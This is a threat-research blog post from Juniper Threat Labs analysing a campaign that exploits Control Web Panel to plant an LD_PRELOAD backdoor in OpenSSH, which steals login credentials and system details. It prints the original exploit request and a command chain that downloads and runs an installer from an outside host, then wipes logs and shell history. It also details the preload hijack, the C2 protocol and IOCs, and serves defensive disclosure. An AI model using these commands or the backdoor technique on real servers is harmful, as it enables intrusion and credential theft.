Linux Servers Hijacked to Implant SSH Backdoor

J blogs.juniper.net/en-us/threat-research/linux-servers-hijacked-to-implant-ssh-backdoor

April 26, 2021



On February 1st, Juniper Threat Labs observed an attack that attempted to inject malicious code into <u>Secure Shell (SSH)</u> servers on Linux. The attack begins with an exploit against the <u>Control Web Panel</u> (CWP, formerly known as Centos Web Panel) server administration web application, injects code via <u>LD_PRELOAD</u>, and uses a custom, encrypted binary command-and-control protocol to exfiltrate credentials and machine capabilities. As of this writing, the malware command-and-control server is still active.



The attack starts with a command injection against Control Web Panel:

POST /admin/index.php?scripts=.%00./.%00./client/include/inc_index&service_start=;cd%20/usr/bin;%
20/usr/bin/wget%20http://176.111.174.26/76523y4gjhasd6/sshins;%20chmod%200777%20/usr/bin/sshins;%
20ls%20-al%20/usr/bin/sshins;%20./sshins;%20cat%20/etc/ld.so.preload;%20rm%20-rf%20/usr/bin/sshin
s;%20sed%20-i%20'/sshins/d'%20/usr/local/cwpsrv/logs/access_log;%20history%20-c;&owner=root&overr
ide=1&api_key=%00%00%C2%90 HTTP/1.1

Figure 2. HTTP request from initial attack

CWP has been plagued by security issues, including <u>37 0-day vulnerabilities disclosed by</u> <u>the Zero Day Initiative in 2020</u>. Among these is a <u>failure to sanitize the service_restart</u> <u>parameter</u>, which follows <u>a similar set of vulnerabilities</u> in 2018.

Because of the number of vulnerabilities in CWP, the intentional encryption and obfuscation of their source code <u>ostensibly for security reasons</u>, and CWP's failure to respond to ZDI's recent disclosures, it is difficult to ascertain which versions of CWP are or remain vulnerable to this attack. In 2020, there were over <u>215k CWP installations</u> accessible from the open internet, so the number of computers compromised in this campaign may be substantial.

Installation

On successful exploitation of the web panel, the following commands are executed.

```
cd /usr/bin
/usr/bin/wget <u>http://176.111.174.26/76523y4gjhasd6/sshins</u>
chmod 0777 /usr/bin/sshins
ls -al /usr/bin/sshins;
./sshins
cat /etc/ld.so.preload
rm -rf /usr/bin/sshins
sed -i '/sshins/d' /usr/local/cwpsrv/logs/access_log
history -c
```

Figure 3. Commands executed via CWP exploit

First, the "sshins" installer binary is retrieved, executed, and deleted. Then the CWP logs are wiped of any mention of sshins and the shell history is cleared.

The sshins binary is a 64-bit Linux ELF executable. It is packed with <u>UPX</u> and the packed file has garbage bytes appended to it in an attempt to hinder automated unpacking. It does 3 things:

1. Drops a Linux shared library to an architecture-specific location (in this case, /lib64/libs.so).

- 1. Writes the name of the dropped file to a text file at /etc/ld.so.preload
- 1. Restarts the OpenSSH service.

```
[+] Architecture 64 bits
```

- [+] Control 176.111.174.26:443
- [+] Poll interval 600
- [+] GUID

```
[+] Creating ld.so.preload
```

```
[+] Done, restarting service...
```

Figure 4. Console output from the installer

Hijacking the OpenSSH server process

Injecting the malicious code

The file /etc/ld.so.preload contains a directive to the <u>dynamic linker</u> telling it to load the specified shared library first, and to give precedence to the exported functions from the ld-preloaded library. Because the malicious libs.so library exports its own version of the <u>bind()</u> function, applications will use the backdoored version of this function instead of the standard implementation from Linux system libraries.

When the Open-SSH server daemon (sshd) restarts, libs.so will first execute an initialization function as the library is loaded, and then has the ability to inject its own code whenever sshd calls bind(). The sshd server processes use this hook in order to periodically beacon to the command-and-control (C2) server and to exfiltrate data, including a listing of system information such as CPU and OS details, amount of RAM, available disk space, and OpenSSH configuration:

s_ 001074fd 41 52 43	ARCH:_x86_64_001074fd ds "ARCH: x86	_64\n"	XREF[1]:	FUN_00104917:00104ab0(*)
s_ 0010750b 69 33 38	i386_0010750b ds "i386"		XREF[1]:	FUN_00104917:00104abc(*)
s_ 00107510 41 52 43	ARCH:_i386_00107510 ds "ARCH: i38	6\n''	XREF[1]:	FUN_00104917:00104ad8(*)
s_ 0010751c 53 59 53	SYSTEM:_%s_0010751c ds	s\n"	XREF[1]:	FUN_00104917:00104b18(*)
s_ 00107528 48 4f 53	HOST:_%s_00107528 ds "HOST: %s\\	n"	XREF[1]:	FUN_00104917:00104b56(*)
s_ 00107532 4b 45 52	KERNEL:_%s_00107532 ds "KERNEL: %	s\n"	XREF[1]:	FUN_00104917:00104b9f(*)
s_ 0010753e 52 45 4c	RELEASE:_0010753e ds "RELEASE:		XREF[1]:	FUN_00104917:00104bd4(*)
s_ 00107548 43 50 55	CPU:_%s_%d_cores_0010754 ds "CPU: %s %	8 d cores\n"	XREF[1]:	FUN_00104917:00104c1c(*)
s_ 0010755a 52 41 4d	RAM:_%d_%s_0010755a ds "RAM: %d %	s\n"	XREF[1]:	FUN_00104917:00104c57(*)
s_ 00107566 41 45 53	AESNI:_enabled_00107566 ds "AESNI: ena	abled\n"	XREF[1]:	FUN_00104917:00104c86(*)
s_ 00107576 6b 6e 6f	known_hosts:_00107576 ds "known_hos	ts: "	XREF[1]:	FUN_00104917:00104cae(*)
s_ 00107584 73 73 68	sshd_config:_00107584 ds "sshd_conf	iq: "	XREF[1]:	FUN_00104917:00104cee(*)
s_ 00107592 69 6e 74	interfaces:_00107592 ds "interface	s: "	XREF[1]:	FUN_00104917:00104d2e(*)
s_ 0010759f 44 69 73	DiskUsed:_%llu_0010759f	%llu\n"	XREF[1]:	FUN_00104917:00104d72(*)
S_	PS:_001075af		XREF[1]:	FUN_00104917:00104d9c(*)

Figure 5. Strings from the disassembled library indicating data to be exfiltrated. In addition to the continuously-running server processes, sshd <u>forks()</u> a pair of new processes to handle each login connection. From these session-specific processes, the malicious bind() function launches an additional temporary sshd process that exfiltrates the incoming user's <u>login credentials</u>.

Figure 6. User credentials and computer identifier exfiltrated by the malware.

C2 communication

The C2 communication involves the server 176[.]111.174.26 on port 443. Port 443 is typically used for HTTPS but here the traffic is raw TCP, hiding in plain sight on a common port. The server has a Russian IP address that is associated with a Bulgarian webhosting provider.

The client initiates communication with a simple directive, padded out to 8 bytes. (As we'll discuss below, the malware uses an encryption algorithm with an 8-byte block size, but even unencrypted messages are always a multiple of 8 in length.) Following is the first packet sent to the server after the TCP handshake, with the 8-byte message highlighted.

0000	00	0c	29	14	8e	3d	00	0c	29	7c	93	34	08	00	45	00)=) .4E.
0010	00	Зc	89	2d	40	00	40	06	cb	59	c0	a8	c7	02	bØ	6f	.<@.@.	.Ýo
0020	ae	1a	9a	f6	01	bb	6a	88	ff	89	bb	09	15	68	80	18	j.	h
0030	01	f6	42	01	00	00	01	01	08	0a	d8	be	42	81	6a	c7	B	B.j.
0040	ef	41	00	00	00	02	00	00	00	00							.A	

Figure 7. Initial TCP packet to C2 server, with payload highlighted. The C2 server replies with the following message (TCP packet omitted for clarity):



Figure 8. Server response.

The response consists of a header with the payload length (24 bytes), a command (0x0201), and the <u>CRC32 checksum</u> of the payload. The 24-byte payload is used to encrypt the exfiltrated data that is then sent back to the C2 server, as we'll see in the next section.

Cryptography

Data sent back to the C2 server is encrypted using a variant of the <u>Blowfish encryption</u> <u>algorithm</u> that was used to <u>secure game assets on the Nintendo</u> and, more recently, <u>incorporated into a reverse-engineering challenge from Kaspersky Lab</u>. Below is publicly available encryption code that was reverse-engineered from the DS:

```
#define KEYSIZE 0x1048
static u32 keycode [3];
static u32 keybuf [KEYSIZE/sizeof(u32)];
void crypt 64bit up (u32* ptr) {
        u32 x = ptr[1];
        u32 y = ptr[0];
        u32 z;
        int i;
        for (i = 0; i < 0x10; i++) {</pre>
                 z = keybuf[i] ^ x;
                 x = keybuf[0x012 + ((z>>24)&0xff)];
                 x = keybuf[0x112 + ((z>>16)&0xff)] + x;
                 x = keybuf[0x212 + ((z >> 8)&0xff)] ^ x;
                 x = keybuf[0x312 + ((z >> 0)&0xff)] + x;
                 x = y^{x};
                 y = z;
        }
        ptr[0] = x \wedge keybuf[0x10];
        ptr[1] = y \land keybuf[0x11];
}
```

Figure 9. Reverse-engineered Nintendo DS encryption routine, from https://github.com/RocketRobz/NTR_Launcher_3D/blob/master/twlnand-side/BootLoader/source/encryption.c.

Then we have the decompiled encryption routine from the preloaded library:

{ uint uVar1; uint uVar2; uint uVar3; uVar1 = *param_1; uVar2 = param_1[1]; uVar3 = (uVar1 >> 0x18 | (uVar1 & 0xff0000) >> 8 | (uVar1 & 0xff00) << 8 | uVar1 << 0x18) ^ *param_3; uVar1 = (uVar2 >> 0x18 | (uVar2 & 0xff0000) >> 8 | (uVar2 & 0xff00) << 8 | uVar2 << 0x18) ^ param 3[1] ^ (param_3[(ulong)(uVar3 >> 0x10 & 0xff) + 0x112] + param_3[(ulong)(uVar3 >> 0x18) + 0x12] ^ param_3[(ulong)(uVar3 >> 8 & 0xff) + 0x212]) + param_3[(ulong)(uVar3 & 0xff) + 0x312]; uVar2 = (param_3[(ulong)(uVar1 >> 0x10 & 0xff) + 0x112] + param_3[(ulong)(uVar1 >> 0x18) + 0x12] ^ param_3[(ulong)(uVar1 >> 8 & 0xff) + 0x212]) + param_3[(ulong)(uVar1 & 0xff) + 0x312] ^ uVar3 ^ param_3[2]; uVar3 = (param_3[(ulong)(uVar2 >> 0x10 & 0xff) + 0x112] + param_3[(ulong)(uVar2 >> 0x18) + 0x12] ^ param_3[(ulong)(uVar2 >> 8 & 0xff) + 0x212]) + param_3[(ulong)(uVar2 & 0xff) + 0x312] ^ uVar1 ^ param 3[3]; uVar1 = (param_3[(ulong)(uVar3 >> 0x10 & 0xff) + 0x112] + param_3[(ulong)(uVar3 >> 0x18) + 0x12] ^ param_3[(ulong)(uVar3 >> 8 & 0xff) + 0x212]) + param_3[(ulong)(uVar3 & 0xff) + 0x312] ^ uVar2 ^ param_3[4]; uVar2 = (param_3[(ulong)(uVar1 >> 0x10 & 0xff) + 0x112] + param_3[(ulong)(uVar1 >> 0x18) + 0x12] ^ param_3[(ulong)(uVar1 >> 8 & 0xff) + 0x212]) + param_3[(ulong)(uVar1 & 0xff) + 0x312] ^ uVar3 ^ param_3[5]; uVar3 = (param_3[(ulong)(uVar2 >> 0x10 & 0xff) + 0x112] + param_3[(ulong)(uVar2 >> 0x18) + 0x12] ^ param_3[(ulong)(uVar2 >> 8 & 0xff) + 0x212]) + param_3[(ulong)(uVar2 & 0xff) + 0x312] ^ uVar1 ^ param_3[6]; 0.10 5 0.55

Figure 10. Corresponding encryption routine from the malware. Note, in particular, the use of the constants 0x12, 0x112, 0x212, and 0x312, which differs from the standard Blowfish implementation. (The decompiled code is functionally identical to the Gameboy routine, differing only due to <u>loop-unrolling</u> and other compiler optimizations.)

0.4401

While the underlying encryption routine is taken directly from publicly available code, the malware authors incorporate some additional tricks to thwart analysis and decryption. Both Blowfish and the Nintendo variant require an S-box lookup table that remains constant throughout the encryption and decryption processes. But unlike the Nintendo implementation, the malware mutates its S-box prior to use. First, as the table is loaded from program memory, it is subject to several static transformations that make it harder to correlate the stored table with the one used for encryption. Then the encryption algorithm is run against portions of its own S-box, transforming it at each step. This process is initialized using part of the 24-byte payload received from the C2 server.

Once the table has been fixed, the actual encryption begins. The malware improves upon the Nintendo implementation by adding cipher-block chaining (CBC). With CBC, each 8-byte plaintext block is first XORed against the encrypted output from the previous block, and then that value is encrypted. The result is a chain where the encrypted value of each block depends on the value of the previous block. To start this process, the first block is XORed against an initialization vector (IV). Here, the IV is itself the XOR of the first and last 8 bytes of the payload from the C2 server.

Without CBC, a symmetric encryption algorithm is vulnerable to <u>frequency analysis</u> when the block size is small as well as <u>other attacks</u> in the general case. It appears that the authors of this malware went to a surprising amount of trouble to strengthen the Nintendo DS encryption, in stark contrast to the noisy behavior of their sshins installer.

Conclusion

Without allowing our compromised test machine to remain connected to the internet and be used for malicious purposes, it's difficult to ascertain the exact motivations of the authors. But because the malware catalogs detailed system information and credentials but does not immediately begin mining cryptocurrency or amplifying the attack by attempting to spread further, we suspect that access to the compromised machines will be sold or rented as part of a botnet.

Detection

The malware and C2 server used in this campaign are detected and blocked by Juniper ATP and Juniper ATP Cloud, and the malicious traffic is detected by the IDP rule SSL:VULN:CWP-LINUX-C2-BACKDOR.

File Hash (SHA-256)	Threat Level	Filename	* Last Submitted	Uploaded By	Malware Name	File Type	Category	Comments
eg. 123, 456 Q	I	Q		Q	Q			
ab9cc4ee82aa6f57ba	0 10	sshins	Apr 16, 2021 3:07 PM	langton@juniper.net	Generic malware	bin	executable	installer
56ce53b6c32beacd88	① 10	libs.so	Apr 16, 2021 3:07 PM	langton@juniper.net	Generic malware	bin	executable	payload

Figure 11. Detection on Juniper ATP Cloud

IOCs

176[.]111.174.26 C2 server

ab9cc4ee82aa6f57ba2a113aab905c33e278c969399db4188d0ea5942ad3bb7d sshins (as delivered)

936ca431d17d738beab9735a3d6e658ff29f8337f52353fd60e286c94dd2c06b sshins (unpacked by UPX, after deleting appended data)

c8df513e9e4848e35af5246a2ba797540b68a9379a1df17e34550cb0258960e8 sshins (manually unpacked)

f51e83a53dd3a364709b1d0b93489f7a114b529268c3bab726ed288eba036bca /lib64/libs.so

948b6c5fc1ba74ed57388241d1e8656e0ca082d10ff834c628d01c592764926d /lib64/libs.so

56ce53b6c32beacd8864258c81bf276304a8da20bc0011f5e09d37b95a3e5def /lib64/libs.so

b5e29bdb105ae0e76d75c3d3959954c4f6610cd39aaa8f3aa852dd624e662480 /etc/ld.so.preload